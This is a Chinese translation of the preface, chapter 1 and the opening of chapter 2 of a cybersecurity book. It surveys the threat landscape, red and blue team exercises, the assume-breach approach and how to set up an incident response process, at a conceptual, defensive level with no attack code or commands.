网络安全攻击与防御策略-全-

网络安全攻击与防御策略(全)

原文:annas-archive.org/md5/b29686b6b24c8cef828858786514f699

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

在不断变化的威胁环境中,拥有强大的安全态势变得至关重要,这实际上意味着加强保护、检测和响应。本书将帮助你了解攻击方法和模式,识别组织内的异常行为,采用蓝队战术。你还将学习收集漏洞情报、识别风险,并展示红队和蓝队策略的影响。

本书适合的人群

本书适合信息安全专业人员和 IT 专业人员,他们希望了解更多关于网络安全的知识。

本书涵盖的内容

第一章,安全态势,定义了什么构成安全的态势,以及它如何帮助理解制定良好防御和攻击策略的重要性。

第二章,事件响应流程,介绍了事件响应流程及其重要性。它涵盖了处理事件响应的不同行业标准和最佳实践。

第三章,理解网络安全杀链,帮助读者理解攻击者的思维方式、攻击的不同阶段,以及每个阶段通常发生的事情。

第四章,侦察,讲述了执行侦察的不同策略以及如何收集数据以获取有关目标的信息,为攻击计划提供支持。

第五章,妥协系统,展示了目前妥协系统的策略趋势,并解释了如何妥协系统。

第六章,追踪用户身份,解释了保护用户身份以避免凭证盗窃的重要性,并讲解了黑客如何获取用户身份。

第七章,横向移动,描述了攻击者如何在妥协一个系统后进行横向移动。

第八章,权限升级,展示了攻击者如何提升权限以获得对网络系统的管理员访问权限。

第九章,安全政策,侧重于初始防御策略的不同方面,从制定完善的安全政策的重要性开始,涵盖安全政策、标准、安全意识培训和核心安全控制的最佳实践。

第十章,网络分段,深入探讨了深度防御的不同方面,涵盖了物理网络分段、虚拟和混合云。

第十一章,主动传感器,详细介绍了帮助组织检测攻击的不同类型的网络传感器。

第十二章,威胁情报,讨论了来自社区和主要供应商的威胁情报的不同方面。

第十三章,调查事件,讨论了两个案例研究,一个是本地受损系统,另一个是基于云的受损系统,并展示了安全调查中的所有步骤。

第十四章,恢复过程,重点介绍了受损系统的恢复过程,并解释了在某些情况下系统的实时恢复不可行时,了解所有可用选项是多么重要。

第十五章,漏洞管理,描述了漏洞管理对于缓解漏洞利用的重要性。它涵盖了当前的威胁态势以及利用已知漏洞的勒索软件数量不断增长的情况。

第十六章,日志分析,讲解了手动日志分析的不同技术,因为读者必须深入了解如何分析不同类型的日志,以便追踪可疑的安全活动。

为了充分利用本书

  1. 我们假设本书的读者了解基本的信息安全概念、Windows 和 Linux 操作系统。

  2. 本书中的一些演示也可以在实验室环境中进行;因此,我们建议您拥有一个包含以下虚拟机的虚拟实验室:Windows Server 2012、Windows 10 和 Kali Linux。

下载彩色图片

我们还提供了一个 PDF 文件,其中包含本书中使用的屏幕截图/图表的彩色图片。您可以在此处下载:www.packtpub.com/sites/default/files/downloads/CybersecurityAttackandDefenseStrategies_ColorImages.pdf

使用的约定

本书中使用了若干文本约定。

CodeInText:表示文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 用户名。例如:“将下载的WebStorm-10*.dmg磁盘映像文件挂载为系统中的另一个磁盘。”

粗体:表示新术语、重要词语或您在屏幕上看到的词语。例如,菜单或对话框中的词语会以这样的方式出现在文本中。示例如下:“从管理面板中选择系统信息。”

警告或重要说明如下所示。技巧和窍门如下所示。

联系我们

我们始终欢迎读者的反馈。

一般反馈:发送电子邮件至feedback@packtpub.com,并在邮件主题中注明书名。如果您对本书的任何部分有疑问,请通过questions@packtpub.com与我们联系。

勘误:尽管我们已经尽力确保内容的准确性,但错误仍然有可能发生。如果您在本书中发现任何错误,恳请您向我们报告。请访问www.packtpub.com/submit-errata,选择您的书籍,点击“勘误提交表单”链接,并填写相关信息。

盗版:如果您在互联网上发现任何我们作品的非法复制品,无论是哪种形式,我们都非常感谢您向我们提供相关位置地址或网站名称。请通过copyright@packtpub.com联系我们,并附上该材料的链接。

如果您有兴趣成为作者:如果您在某个领域拥有专业知识,并且有意写书或为书籍贡献内容,请访问authors.packtpub.com

评论

请留下评论。阅读并使用本书后,为什么不在您购买该书的网站上留下评论呢?潜在的读者可以看到并参考您的公正意见做出购买决策,我们 Packt 团队也能了解您对我们产品的看法,而我们的作者则能看到您对其书籍的反馈。感谢您!

有关 Packt 的更多信息,请访问packtpub.com

第一章:安全态势

多年来,安全投资从可有可无转变为必不可少,现在全球范围内的组织正在意识到持续投资安全的重要性。这项投资将确保公司在市场中保持竞争力。如果未能妥善保护其资产,可能会导致不可修复的损失,在某些情况下甚至可能导致破产。由于当前的威胁形势,仅仅投资于保护是不够的。组织必须增强其整体安全态势。这意味着保护、检测和响应的投资必须保持一致。

本章将涵盖以下主题:

  • 当前的威胁形势

  • 网络安全领域的挑战

  • 如何提升您的安全态势

  • 了解蓝队和红队在您组织中的角色

当前的威胁形势

随着始终在线连接的普及以及如今可用的技术进步,威胁正在迅速演变,利用这些技术的不同方面。任何设备都有可能受到攻击,而物联网IoT)使这一切成为现实。2016 年 10 月,一系列分布式拒绝服务DDoS)攻击被发起,攻击目标是 DNS 服务器,导致一些主要的网络服务停止运行,例如 GitHub、Paypal、Spotify、Twitter 等(1)。

这一切得以实现,归功于全球范围内大量不安全的物联网设备。虽然利用物联网发起大规模网络攻击是一个新现象,但这些设备中的漏洞却并不新鲜。事实上,这些漏洞已经存在了相当长一段时间。2014 年,ESET 报告了 73,000 个使用默认密码的未保护安全摄像头(2)。2017 年 4 月,IOActive 发现了 7,000 个易受攻击的 Linksys 路由器,尽管他们表示可能有多达 100,000 个额外的路由器也暴露在这种漏洞下(3)。

首席执行官CEO)甚至可能会问:家庭设备中的漏洞与我们公司的安全有什么关系?这时,首席信息安全官CISO)应该准备好回答。因为 CISO 应该更好地了解威胁形势,以及家庭用户设备如何影响公司所需的整体安全防护。答案可以通过两个简单的场景来解释:远程访问和自带设备BYOD)。

虽然远程访问并不是新事物,但远程工作者的数量正呈指数增长。根据 Gallup 的数据,已有 43%的美国雇员正在远程工作(4),这意味着他们使用自己的基础设施访问公司资源。更糟糕的是,越来越多的公司允许员工在工作场所使用自带设备(BYOD)。请记住,虽然有办法安全实施 BYOD,但大多数 BYOD 场景中的失败通常是由于糟糕的规划和网络架构,导致实施不安全(5)。

那么,之前提到的所有技术有什么共同之处呢?要操作这些技术,你需要一个用户,而用户仍然是攻击的最大目标。人类是安全链条中的最弱环节。因此,诸如网络钓鱼邮件之类的旧威胁仍然在上升,因为它利用用户的心理诱使用户点击某些东西,比如文件附件或恶意链接。通常,一旦用户执行这些操作之一,他们的设备就会被恶意软件(恶意软件)入侵或被黑客远程访问。

网络钓鱼攻击活动可能从一封钓鱼邮件开始,这将基本上成为攻击者的入口点,随后将利用其他威胁来利用系统中的漏洞。

使用钓鱼邮件作为攻击入口的日益增长的威胁之一是勒索软件。仅在 2016 年初的三个月里,FBI 报告了 2.09 亿美元的勒索软件支付(6)。根据趋势科技的预测,勒索软件的增长将在 2017 年达到顶峰;然而,攻击方法和目标将会多样化(7)。

下图突出显示了这些攻击与最终用户之间的关联:

该图显示了最终用户的四个入口点。所有这些入口点必须识别其风险并采取适当的控制措施。场景列举如下:

  • 本地环境与云之间的连接 (1)

  • 自带设备(BYOD)与云之间的连接 (2)

  • 公司拥有的设备与本地环境之间的连接 (3)

  • 个人设备与云之间的连接 (4)

请注意,这些是不同的场景,但它们都由一个单一的实体——最终用户相关联。所有场景中的共同元素通常是网络犯罪分子首选的目标,如前图所示,该目标通过访问云资源。

在所有场景中,还有另一个重要元素不断出现,那就是云计算资源。现实情况是,如今你无法忽视很多公司正在采用云计算的事实。绝大多数公司将从混合场景开始,其中基础设施即服务IaaS)是他们主要的云服务。还有一些公司可能会选择使用软件即服务SaaS)来解决一些方案。例如,移动设备管理MDM),如场景(2)所示。你可能会认为一些高度安全的组织,比如军队,可能没有云连接。这是可能的,但从商业角度看,云的采用正在增长,并且将慢慢主导大多数部署场景。

本地安全至关重要,因为它是公司的核心所在,绝大多数用户将从这里访问资源。当一个组织决定通过云服务提供商扩展其本地基础设施以使用 IaaS(1)时,公司需要评估这种连接的威胁,并通过风险评估确定应对这些威胁的对策。

最后的场景(4)可能会引起一些怀疑分析师的兴趣,主要是因为他们可能没有立即看到这个场景与公司资源之间的关联。是的,这是一个个人设备,并没有直接连接到本地资源。然而,如果该设备被攻破,用户可能在以下情况中会威胁到公司数据:

  • 从此设备打开公司电子邮件

  • 从该设备访问公司 SaaS 应用

  • 如果用户使用相同的密码(8)来访问个人邮箱和公司账户,这可能会导致通过暴力破解或密码猜测的账户泄露

采取技术性安全控制措施有助于缓解部分针对最终用户的威胁。然而,主要的保护措施还是通过持续的安全意识培训进行教育。

用户将使用他们的凭证应用程序交互,以消费数据或将数据写入位于云端或本地的服务器。所有加粗的内容都有独特的威胁场景,必须识别并加以处理。我们将在接下来的章节中讨论这些领域。

凭证——身份验证和授权

根据 Verizon 的 2017 年数据泄露调查报告(9),威胁行为者(或称行为者)、他们的动机和作案手法因行业而异。然而,报告指出,盗取凭证是金融动机或有组织犯罪的首选攻击方式。这一数据非常重要,因为它表明威胁行为者正在针对用户凭证进行攻击,从而得出结论:公司必须特别关注用户的身份验证、授权及其访问权限。

行业普遍认为,用户身份是新的边界。这要求安全控制措施专门设计,用于根据用户的工作和对网络中特定数据的需求来认证和授权个人。凭证盗窃可能只是使网络犯罪分子能够访问系统的第一步。拥有网络中的有效用户账户将使他们能够横向移动(pivot),并在某个时刻找到合适的机会提升权限,获取域管理员账户。因此,应用“深度防御”这一旧有概念仍然是保护用户身份的良好策略,如下图所示:

在这里,有多个保护层次,从对账户的常规安全策略执行开始,遵循行业最佳实践,如强密码要求、要求频繁更改密码的政策和密码强度。另一个日益流行的保护用户身份的趋势是强制执行多因素认证(MFA)。一种越来越被采纳的方法是回调功能,用户最初使用其凭证(用户名和密码)进行身份验证,然后接收到一个电话,要求输入他们的 PIN 码。如果两个身份验证因素都成功,他们将被授权访问系统或网络。我们将在第六章《追踪用户身份》中更详细地探讨这个话题。

应用程序

应用程序(我们将其称为应用),是用户获取数据并向系统传输、处理或存储信息的入口点。应用程序正在快速发展,基于 SaaS 的应用的采用率也在上升。然而,这些应用的融合也存在固有的问题。以下是两个关键例子:

  • 安全性:这些在内部开发的应用以及你作为服务付费的应用有多安全?

  • 公司拥有的应用与个人应用:用户将在自己的设备上拥有一套应用(BYOD 场景)。这些应用如何危及公司的安全态势,是否可能导致潜在的数据泄露?

如果你有一支开发团队在内部构建应用,应该采取措施确保他们在整个软件开发生命周期中使用安全框架,如微软安全开发生命周期SDL)(10)。如果你要使用 SaaS 应用,如 Office 365,需要确保阅读供应商的安全性和合规性政策(11)。这里的目的是查看供应商和 SaaS 应用是否能够满足你公司安全性和合规性的要求。

另一个面临的安全挑战是公司如何在不同的应用程序之间处理数据,这些应用程序既包括公司批准使用的应用,也包括最终用户使用的个人应用。在 SaaS 的环境下,这个问题变得更加严重,因为用户在使用许多可能不安全的应用。传统的网络安全方法并未针对 SaaS 应用中的数据保护进行设计,更糟糕的是,它们无法提供 IT 部门所需的可见性,来了解员工如何使用这些应用。这种情况也被称为影子 IT,根据 Cloud Security AllianceCSA)进行的一项调查(12),仅有 8% 的公司知道其组织内影子 IT 的范围。你无法保护你不知道的东西,这种状况是非常危险的。

根据卡巴斯基 2016 全球 IT 风险报告(13),54% 的企业认为主要的 IT 安全威胁与通过移动设备不当共享数据有关。IT 部门必须掌控应用程序,并在设备(公司拥有的和自带设备)上强制执行安全策略。以下是你需要缓解的一个关键场景,如下图所示:

在这种场景中,我们有用户的个人平板,它上面既有公司批准的应用,也有个人应用。如果没有一个可以将设备管理与应用管理结合的平台,公司将面临潜在的数据泄露风险。在这种情况下,如果用户将 Excel 表格下载到他的设备上,并将其上传到个人的 Dropbox 云存储,而表格中包含公司的机密信息,那么用户就无意中造成了数据泄露,公司既无法知晓,也无法加以保护。

数据

在上一节结束时我们提到数据时,我们应该确保数据始终受到保护,无论其当前状态是 (传输中 还是 静止状态)。根据数据的状态,可能会面临不同的威胁。以下是一些潜在威胁及应对措施的示例:

状态 描述 威胁 应对措施 受影响的安全三要素
数据在用户设备上的静止状态。 数据当前存储在用户的设备上。 未授权或恶意的进程可能读取或修改数据。 静止状态下的数据加密,可以是文件级加密或磁盘加密。 保密性和完整性。
数据传输中。 数据当前正从一个主机传输到另一个主机。 中间人攻击可能会读取、修改或劫持数据。 可以使用 SSL/TLS 来加密传输中的数据。 保密性和完整性。
静态数据存储在本地(服务器)或云端 数据存储在本地服务器的硬盘或云端存储池中 未授权或恶意进程可能读取或修改数据 数据加密存储。可以是文件级别的加密或磁盘加密 保密性和完整性

这些只是潜在威胁和建议对策的一些例子。必须进行更深入的分析,以根据客户需求全面理解数据路径。每个客户在数据路径、合规性、规则和规定方面都有自己的特殊要求。即使在项目开始之前,理解这些需求也至关重要。

网络安全挑战

为了分析当今公司面临的网络安全挑战,需要获取具体数据和目前市场上发生的事件的证据。并非所有行业都面临相同类型的网络安全挑战,因此我们将列举在不同领域中仍然最为普遍的威胁。这似乎是最适合网络安全分析师的方式,尤其是那些并不专门从事某些行业分析的分析师,但在某个时刻,他们可能需要处理自己并不熟悉的行业。

旧技术与广泛结果

根据卡巴斯基全球 IT 风险报告 2016(14),导致最昂贵数据泄露的主要原因来自于一些随着时间演变的旧攻击,按顺序如下:

  • 病毒、恶意软件和木马

  • 缺乏尽职调查和未经培训的员工

  • 网络钓鱼与社会工程学

  • 定向攻击

  • 加密货币和勒索软件

尽管这个列表中的前三种攻击是旧有的“嫌疑犯”,并且在网络安全社区中非常知名,但它们仍然屡屡得手,因此仍然是当前网络安全挑战的一部分。这三者的真正问题在于它们通常与人为错误相关。如前所述,所有问题可能从一封网络钓鱼邮件开始,利用社会工程学引导员工点击一个链接,从而可能下载病毒、恶意软件或木马。在上文中,我们已在一个场景中涵盖了这三种情况。

有针对性的攻击(或高级持久威胁)这个术语对某些人来说可能不太清晰,但有一些关键特征可以帮助你识别此类攻击是否正在发生。最重要的特征是,攻击者在开始制定攻击计划时已经有了特定的目标。在这个初始阶段,攻击者将花费大量时间和资源进行公开侦察,以获取执行攻击所需的信息。这种攻击背后的动机通常是数据外泄,换句话说,窃取数据。此类攻击的另一个特征是持久性,即他们在目标网络上保持持续访问的时间。其意图是在网络中持续横向移动,侵入不同的系统,直到达到目标。

在这一领域面临的最大挑战之一是,在攻击者已经进入网络后识别攻击者。传统的检测系统,如入侵检测系统IDS),可能无法及时警示发生的可疑活动,尤其是在流量加密时。许多研究者已经指出,从渗透到检测可能需要长达 229 天的时间(15)。缩短这一间隔绝对是网络安全专业人员面临的最大挑战之一。

加密货币和勒索软件是新兴和增长迅速的威胁,为组织和网络安全专业人员带来了全新的挑战。2017 年 5 月,全球震惊于有史以来最大的勒索软件攻击,名为 Wannacry。这种勒索软件利用了一个已知的 Windows SMBv1 漏洞,该漏洞的补丁已于 2017 年 3 月发布(攻击发生前 59 天),通过 MS17-010(16)公告。攻击者使用了一个称为 EternalBlue 的漏洞利用工具,由一个名为 Shadow Brokers 的黑客组织在 2017 年 4 月发布。根据 MalwareTech(18)的说法,这种勒索软件感染了全球超过 40 万台计算机,这是一种前所未见的大规模攻击。从这次攻击中得到的一个教训是,全球企业仍然未能实施有效的漏洞管理程序,这是我们将在第十五章,漏洞管理中更详细地讨论的内容。

非常重要的一点是提到,钓鱼邮件仍然是勒索软件的主要传播方式,这意味着我们再次回到了同样的循环,即通过社会工程学减少成功利用人为因素的可能性,并采取严格的技术安全控制措施来保护和检测。

威胁格局的转变

2016 年,一波新的攻击也获得了广泛的关注,当时 CrowdStrike 报告称,它已经识别出两组与俄罗斯情报相关的对手,他们出现在美国民主党全国委员会DNC)的网络中(19)。根据他们的报告,他们发现了两组俄罗斯黑客团体在 DNC 网络中活动的证据:Cozy Bear(也被归类为 APT29)和 Fancy Bear(APT28)。Cozy Bear 并不是这一类型攻击中的新兴参与者,因为证据表明,2015 年(20),他们曾通过鱼叉式钓鱼攻击发起对五角大楼邮件系统的攻击。

这种类型的情境被称为政府支持的网络攻击,但一些专家更倾向于更通用地称其为数据作为武器,因为其目的是窃取可以用来对抗被攻击方的信息。私营部门不应忽视这些迹象。

现如今,持续的安全监控必须至少利用下图所示的三种方法:

这只是其中一个原因,为什么组织开始更加重视威胁情报、机器学习和分析以保护其资产变得尤为重要。我们将在第十二章《威胁情报》中详细讨论这一点。

提升您的安全态势

如果您仔细阅读本章内容,应该非常清楚,面对当今的挑战和威胁,您无法继续使用传统的安全方法。因此,确保您的安全态势能够应对这些挑战至关重要。为了实现这一目标,您必须巩固当前的保护系统,确保它能适应不同设备的安全需求,无论其形式如何。

同时,重要的是使 IT 和安全操作能够快速识别攻击,通过增强检测系统来实现这一点。最后但同样重要的是,必须通过提升响应流程的有效性,减少感染与控制之间的时间,以便快速应对攻击。

基于此,我们可以安全地说,安全态势由以下图示的三大基础支柱组成:

这些支柱必须得到巩固,如果过去大多数预算都用于保护,现在更需要将投资和努力的程度分布到其他支柱上。这些投资不仅仅局限于技术安全控制,还必须涵盖业务的其他领域,包括管理控制。

建议进行自我评估,从工具的角度识别每个支柱中的差距。许多公司随着时间的推移发展壮大,但从未真正更新其安全工具,以适应新的威胁格局以及攻击者如何利用漏洞进行攻击。

拥有强化安全防护的公司不应属于之前提到的统计数据中的一部分(入侵与检测之间的时间为 229 天)。这一差距应当大幅缩短,响应应当立刻发生。为了实现这一目标,必须建立一个更好的事件响应流程,并配备能够帮助安全工程师调查与安全相关问题的现代化工具。第二章,事件响应流程将更详细地讨论事件响应,第十三章,调查事件,则会介绍一些与实际安全调查相关的案例研究。

红队与蓝队

红队/蓝队演习并不是新鲜事物。最初的概念很久以前就已经在第一次世界大战期间提出,像许多信息安全领域的术语一样,源于军事。其基本想法是通过模拟来展示攻击的有效性。

例如,1932 年,海军少将哈里·E·亚内尔演示了对珍珠港攻击的有效性。九年后,当日本袭击珍珠港时,便可以进行对比,看到类似的战术是如何被使用的(22)。

基于敌方可能使用的真实战术的模拟效果已经得到了广泛认可,并在军事中得到应用。外军及文化研究大学有专门的课程,专门为红队参与者和领导者做准备(23)。虽然军事中的红队概念更加广泛,但通过威胁仿真提供的情报支持与网络安全红队试图实现的目标相似。国土安全演习与评估计划(HSEEP)(24)也在预防演习中使用红队,通过追踪敌方的行动并基于这些演习的结果制定对策。

在网络安全领域,采用红队方法也帮助组织保持资产的安全。红队必须由高度训练的人员组成,具备不同的技能,他们必须充分了解组织所在行业的当前威胁环境。红队需要了解当前攻击的趋势,并理解这些攻击是如何发生的。在某些情况下,并根据组织的需求,红队成员必须具备编码技能,能够创建自己的漏洞利用工具,并根据相关漏洞定制化,以便更好地利用可能影响组织的漏洞。

核心的红队工作流程采用以下方法:

红队将执行攻击,通过突破当前的安全控制措施渗透环境,这也被称为渗透测试。任务的目的是寻找漏洞并加以利用,从而获得公司资产的访问权限。攻击和渗透阶段通常遵循洛克希德·马丁方法,发布在论文《基于对敌方攻击活动和入侵杀伤链分析的情报驱动的计算机网络防御》(25)中。我们将在第三章中详细讨论杀伤链,理解网络安全杀伤链

红队还需要登记他们的核心指标,这对业务非常重要。主要指标如下:

  • 妥协的平均时间(MTTC):从红队发起攻击的那一刻开始计时,直到他们成功突破目标的时刻为止。

  • 特权升级的平均时间(MTTP):这与前一个指标从同一时刻开始,但一直持续到完全妥协,即红队拥有目标的管理员权限时为止。

到目前为止,我们已经讨论了红队的能力,但没有反向应对的合作方,蓝队,演练是不会完成的。蓝队需要确保资产安全,并且如果红队发现漏洞并加以利用,他们需要迅速修复并记录,作为教训的一部分。

以下是一些蓝队在对手(本例为红队)成功突破系统时执行的任务示例:

  • 保存证据:在这些事件中,保存证据至关重要,以确保你拥有可以分析、合理化并采取行动以减轻未来风险的实际信息。

  • 验证证据:并非每一个警报,或者在本案例中提到的证据,都会导致你发现一次有效的攻击尝试。但如果确实是,必须将其归类为妥协迹象IOC)。

  • 与相关人员沟通:此时,蓝队必须知道如何处理这些 IOC,并且哪些团队应该了解此次妥协事件。与所有相关团队沟通,根据组织的不同,这些团队可能有所不同。

  • 事件的分类:有时,蓝队可能需要与执法部门合作,或者他们可能需要获得搜查令才能进一步调查,适当的事件分类将有助于此过程。

  • 确定违规范围:此时,蓝队已获得足够信息来确定违规范围。

  • 制定补救计划:蓝队应制定一个补救计划,以隔离或驱逐对手。

  • 执行计划:一旦计划完成,蓝队需要执行该计划并恢复系统。

蓝队成员应具备广泛的技能组合,且应由来自不同部门的专业人员组成。请记住,一些公司确实有专门的红蓝队,而另一些则没有。公司通常只在演练期间组建这些团队。与红队一样,蓝队也负责一些安全指标,尽管这些指标在此情况下并不完全精确。指标不精确的原因是,蓝队可能并不确切知道红队何时成功入侵系统。尽管如此,这一估计对于这种类型的演练来说已经足够准确。你可以在以下列表中看到这些估计的自我解释:

  • 检测预计时间ETTD

  • 恢复预计时间ETTR

蓝队和红队的工作并不会因为红队成功入侵系统而结束。此时仍有大量工作需要完成,这将需要这些团队的全面协作。必须制作最终报告,重点说明入侵发生的细节,提供攻击的时间线,说明为获取访问权限和提升权限(如适用)所利用的漏洞,以及此次攻击对公司造成的商业影响。

假设入侵

由于新兴的威胁和网络安全挑战,必须将方法论从防止入侵转变为假设入侵。传统的防止入侵方法本身并没有促进持续的测试,而要应对现代威胁,必须始终在完善你的保护措施。因此,将这一模型引入网络安全领域是一个自然的步骤。

当前中央情报局和国家安全局前局长、退役将军迈克尔·海登在 2012 年说过(26):

“从根本上讲,如果有人想进入,他们就能进得去。好,接受这一点。”

在一次访谈中,许多人并不完全理解他真正的意思,但这句话正是假设入侵方法的核心。假设入侵验证了保护、检测和响应,确保它们被正确实施。但为了将这一理念付诸实践,关键在于利用红蓝队演练来模拟针对自身基础设施的攻击,并测试公司安全控制、传感器和事件响应过程。

在下面的图表中,你可以看到红队/蓝队演练中各个阶段之间的互动示例:

在入侵后的阶段,红队和蓝队将共同合作生成最终报告。必须强调的是,这不应仅是一次性的演练,而应该是一个持续的过程,随着时间的推移,通过最佳实践不断精炼和改进。

参考文献

你可以参考以下文章:

  1. 请参考 www.darkreading.com/attacks-breaches/new-iot-botnet-discovered-120k-ip-cameras-at-risk-of-attack/d/d-id/1328839

  2. 请参考 www.welivesecurity.com/2014/11/11/website-reveals-73000-unprotected-security-cameras-default-passwords/

  3. 请参考 threatpost.com/20-linksys-router-models-vulnerable-to-attack/125085/

  4. 请参考 www.nytimes.com/2017/02/15/us/remote-workers-work-from-home.html

  5. 阅读 ISSA Journal 上发布的关于采用 BYOD 的供应商中立指南 blogs.technet.microsoft.com/yuridiogenes/2014/03/11/byod-article-published-at-issa-journal/

  6. 请参考 www.csoonline.com/article/3154714/security/ransomware-took-in-1-billion-in-2016-improved-defenses-may-not-be-enough-to-stem-the-tide.html

  7. 请参考 blog.trendmicro.com/ransomware-growth-will-plateau-in-2017-but-attack-methods-and-targets-will-diversify/

  8. 阅读本文了解使用相同密码登录不同账户的危险性 www.telegraph.co.uk/finance/personalfinance/bank-accounts/12149022/Use-the-same-password-for-everything-Youre-fuelling-a-surge-in-current-account-fraud.html

  9. 下载报告 www.verizonenterprise.com/resources/reports/rp_DBIR_2017_Report_en_xg.pdf

  10. 了解更多关于 SDL 的信息 www.microsoft.com/sdl

  11. Microsoft Office 365 安全与合规性可以在 support.office.com/en-us/article/Office-365-Security-Compliance-Center-7e696a40-b86b-4a20-afcc-559218b7b1b8 查阅

  12. 阅读完整研究报告 downloads.cloudsecurityalliance.org/initiatives/surveys/capp/Cloud_Adoption_Practices_Priorities_Survey_Final.pdf

  13. 阅读完整报告,访问 www.kasperskyreport.com/?gclid=CN_89N2b0tQCFQYuaQodAQoMYQ

  14. 你可以从 www.kasperskyreport.com/?gclid=CN_89N2b0tQCFQYuaQodAQoMYQ 下载报告

  15. 请参考 info.microsoft.com/ME-Azure-WBNR-FY16-06Jun-21-22-Microsoft-Security-Briefing-Event-Series-231990.html?ls=Social

  16. 阅读 Microsoft 公告以获取更多信息 technet.microsoft.com/en-us/library/security/ms17-010.aspx

  17. 阅读此文章以获取关于该组织的更多信息 www.symantec.com/connect/blogs/equation-has-secretive-cyberespionage-group-been-breached

  18. 请参考 twitter.com/MalwareTechBlog/status/865761555190775808

  19. 请参考 www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/

  20. 请参考 www.cnbc.com/2015/08/06/russia-hacks-pentagon-computers-nbc-citing-sources.html

  21. 请参考 www.theverge.com/2017/5/17/15655484/wannacry-variants-bitcoin-monero-adylkuzz-cryptocurrency-mining

  22. 请参考 www.quora.com/Could-the-attack-on-Pearl-Harbor-have-been-prevented-What-actions-could-the-US-have-taken-ahead-of-time-to-deter-dissuade-Japan-from-attacking#!n=12

  23. 你可以在 usacac.army.mil/sites/default/files/documents/ufmcs/The_Applied_Critical_Thinking_Handbook_v7.0.pdf 下载红队手册

  24. 请参考 www.fema.gov/media-library-data/20130726-1914-25045-8890/hseep_apr13_.pdf

  25. www.lockheedmartin.com/content/dam/lockheed/data/corporate/documents/LM-White-Paper-Intel-Driven-Defense.pdf 下载报告

  26. 请参考 www.cbsnews.com/news/fbi-fighting-two-front-war-on-growing-enemy-cyber-espionage/

摘要

在本章中,你了解了当前的威胁形势,以及这些新型威胁是如何用来危害凭证、应用程序和数据的。在许多情况下,仍然使用传统的黑客技术,例如网络钓鱼邮件,但手法更加复杂。你还了解了目前有关全国性威胁类型和政府目标攻击的现实情况。为了保护你的组织免受这些新威胁的侵害,你了解了一些关键因素,可以帮助你提升安全态势。至关重要的是,这种提升需要将关注点从仅仅保护转向包括检测和响应。因此,使用红队和蓝队变得至关重要。这个概念同样适用于假设漏洞方法论。

在下一章,你将继续学习如何提升你的安全态势。然而,本章将重点讲解事件响应过程。事件响应过程对于那些需要更好地检测和应对网络威胁的公司来说至关重要。

第二章:事件响应流程

在上一章中,您了解了支撑您安全姿态的三大支柱,其中两个(检测和响应)与事件响应IR)流程直接相关。为了增强您安全姿态的基础,您需要一个坚实的事件响应流程。这个流程将指导如何处理安全事件并迅速做出响应。许多公司确实有事件响应流程,但它们未能不断审查以吸取以往事件的教训,并且更重要的是,许多公司没有准备好在云环境中处理安全事件。

在本章中,我们将涵盖以下主题:

  • 事件响应流程

  • 处理事件

  • 事后活动

事件响应流程

有许多行业标准、建议和最佳实践可以帮助您创建自己的事件响应。您仍然可以将它们用作参考,以确保涵盖适合您业务类型的所有相关阶段。我们在本书中将用作参考的是计算机安全事件响应CSIR)—NIST(1)的出版物 800-61R2。

设立 IR 流程的原因

在我们深入了解流程本身的更多细节之前,了解一些术语的使用以及在使用 IR 作为增强安全姿态的一部分时的最终目标是很重要的。为什么这很重要?让我们用一个虚构的公司来说明为什么这很重要。

以下图表显示了事件时间轴(2),引导帮助台升级问题并启动事件响应流程:

以下表格列出了此场景中每个步骤的一些考虑事项:

步骤 描述 安全考虑
1 虽然图表显示系统正常运行,但从这个事件中学习很重要。 什么被认为是正常的?您是否有一个基线可以证明系统正常运行?您确定在电子邮件之前没有被入侵的证据吗?
2 钓鱼邮件仍然是网络犯罪分子用来诱使用户点击导致恶意/被入侵网站的链接的最常见方法之一。 虽然必须有技术安全控制来检测和过滤这些类型的攻击,但用户必须学会如何识别钓鱼邮件。
3 如今使用的许多传统传感器(IDS/IPS)无法识别渗透和横向移动。 为了增强您的安全姿态,您需要改进技术安全控制,并缩小感染和检测之间的差距。
4 这已经是此次攻击造成的附带损害的一部分。凭证已被泄露,用户在进行身份验证时遇到了问题。 应该有技术安全控制措施,使 IT 能够重置用户的密码,并同时强制执行多因素身份验证。
5 并非每一个事件都与安全有关;因此,对于帮助台来说,执行初始故障排除以隔离问题是很重要的。 如果已经存在的技术安全控制措施(步骤3)能够识别攻击,或者至少提供一些可疑活动的证据,帮助台就不必再排查问题了—它可以直接遵循事件响应流程。
6 此时,帮助台正在执行其应该做的事情,收集系统被入侵的证据并升级问题。 帮助台应尽可能多地获取有关可疑活动的信息,以证明他们认为这是一个与安全相关的事件的理由。
7 此时,事件响应流程接管并按照自己的路径进行,这可能会根据公司、行业领域和标准而有所不同。 很重要的是记录流程的每一个步骤,并在事件解决后,结合所学到的经验,以增强整体安全姿态。

在先前的情景中有很大的改进空间,但在这家虚构公司中存在着许多其他公司在世界各地都缺少的东西:事件响应本身。如果不是因为已经存在的事件响应流程,支持专业人员将通过专注于基础设施相关问题来耗尽他们的故障排除工作。拥有良好安全姿态的公司会有一个事件响应流程。

他们还应确保遵守以下准则:

  • 所有 IT 人员都应该接受培训,了解如何处理安全事件。

  • 所有用户都应该接受培训,了解安全的核心基本知识,以更安全地执行他们的工作,这将有助于避免感染。

  • 应该在他们的帮助台系统和事件响应团队之间进行集成,以实现数据共享。

  • 这种情景可能会有一些变化,引入不同的挑战。一个变化可能是在步骤6中找不到入侵指示IoC)。在这种情况下,帮助台将轻松地继续排查问题。如果在某个时候事情开始恢复正常呢?这种情况可能吗?是的,可能!

  • 当攻击者渗透到网络中时,他们通常希望保持隐形,在不同的主机之间横向移动,破坏多个系统并试图通过破坏具有管理员级权限的帐户来提升权限。这也是为什么不仅在网络中,而且在主机本身也需要部署良好的传感器如此重要的原因。有了好的传感器,不仅能够快速检测到攻击,还能识别出可能导致迫在眉睫的安全违规威胁的潜在场景(3)。

  • 除了刚才提到的所有因素外,一些公司很快会意识到,他们必须制定一个事件响应流程,以符合适用于其所属行业的法规。例如,FISMA 要求联邦机构必须制定程序来检测、报告和响应安全事件。

创建一个事件响应流程

虽然事件响应流程会根据公司及其需求有所不同,但其中一些基本方面在不同行业间是相同的。

以下图示展示了事件响应流程的基础领域:

创建事件响应流程的第一步是确立目标——换句话说,就是回答这个问题:这个流程的目的是什么?虽然这看起来有些多余,因为名称似乎不言自明,但明确流程的目的非常重要,以确保每个人都清楚这个流程的目标是什么。

